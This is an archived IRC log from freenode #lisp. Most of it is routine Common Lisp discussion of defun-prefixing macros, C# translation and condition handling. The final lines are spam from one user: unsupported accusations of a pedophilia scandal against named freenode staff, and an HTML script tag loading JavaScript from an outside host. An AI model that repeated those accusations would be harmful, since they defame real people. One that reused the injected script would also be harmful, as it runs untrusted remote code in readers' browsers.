freenode/#lisp - IRC Chatlog
Search
2:49:25
bleak
I mean in the same sense that communication between cells is a metaphor for message passing in Smalltalk.
3:08:51
krwq
how would you go about writing a macro which would add a prefix to every defun name? (also working recursively)
3:11:00
krwq
i.e. (with-prefix "FOO" (defun bar () (format t "(i am foobar)"))) and also (with-prefix "FOO" (with-prefix "BAR" (defun lol () (format t "(i am foobarlol)"))))
3:13:15
bleak
Bike: https://www.aomran.com/object-oriented-programming-is-not-about-objects/ <- has a quote from Alan Kay on this.
3:13:28
krwq
specifcally you get input as csharp code, then you translate that to lispish version of that and then translate it to lisp code which you could execute
3:14:54
krwq
so i already got lispification partially working - i used roslyn to generate lisp-like code
3:16:17
krwq
in my lisp code i simply run csharp app which print out on the screen lisp code, then i translate and (rather try to for now) execute it
3:17:04
krwq
this is how my current test case look like (this is working): (defparameter *csharp-hello-world-lispified*
3:21:23
krwq
i'm thinking how to make it so that it generates something like (defun c#-HelloWorld-Program-Main (args) (format t "Hello, World!"))
3:22:31
Bike
assuming the contents of the variable are going to be executed in some lisp like way, i'd just have c#-namespace and c#-class bind a *current-namespace* variable or suchlike
3:47:01
krwq
ok, i'll read about it over the weekend and finish once I understand how this works. If my project starts working for at least simple cases I'll likely put it somewhere public
5:53:15
phoe
dlowe: actually I don't want to enter the debugger all the time - I want to signal a condition. Then the user may do whatever he pleases.
6:26:58
aeth
phoe: You still might want to do it the return value way if it's faster if it needs to be fast.
6:28:16
aeth
e.g. if there's a reasonable expectation that it won't be successful many times in a hot loop
6:31:16
aeth
Imo, there isn't really a Lisp way. The Lisp way is to allow every style in one language.
7:33:42
phoe
A signaled condition does not have any kind of dynamic extent, right? I can store a reference to it somewhere and process in a completely different place of the program.
7:46:48
phoe
Is there some sort of Lisp mechanism that will allow me to do run-time dispatch on conditions and handlers? HANDLER-BIND is a macro and therefore expands at macroexpansion time.
7:47:45
phoe
The simplest thing that I can think of is making a HANDLER-BIND on CONDITION and providing it with a function of my choosing. I just wonder if there's a better way.
7:48:46
phoe
Either that, or I need to take a step back and rethink what I actually want to achieve.
7:57:01
phoe
No, I really want a run-time way of dispatching. I don't really want to do it with macros since they don't tie well into the CLOS-heavy style I'm working with here.
7:58:42
phoe
Hmmm. That's right! Multiple dispatch comes to the rescue here; I don't have to dispatch on a single argument.
8:47:51
alienated
Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
8:47:54
alienated
or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
8:47:57
alienated
Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
8:48:01
alienated
This message was brought to you by Private Internet Access. Voice your opinions at https://webchat.freenode.net/?channels=%23freenode
8:48:04
alienated
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>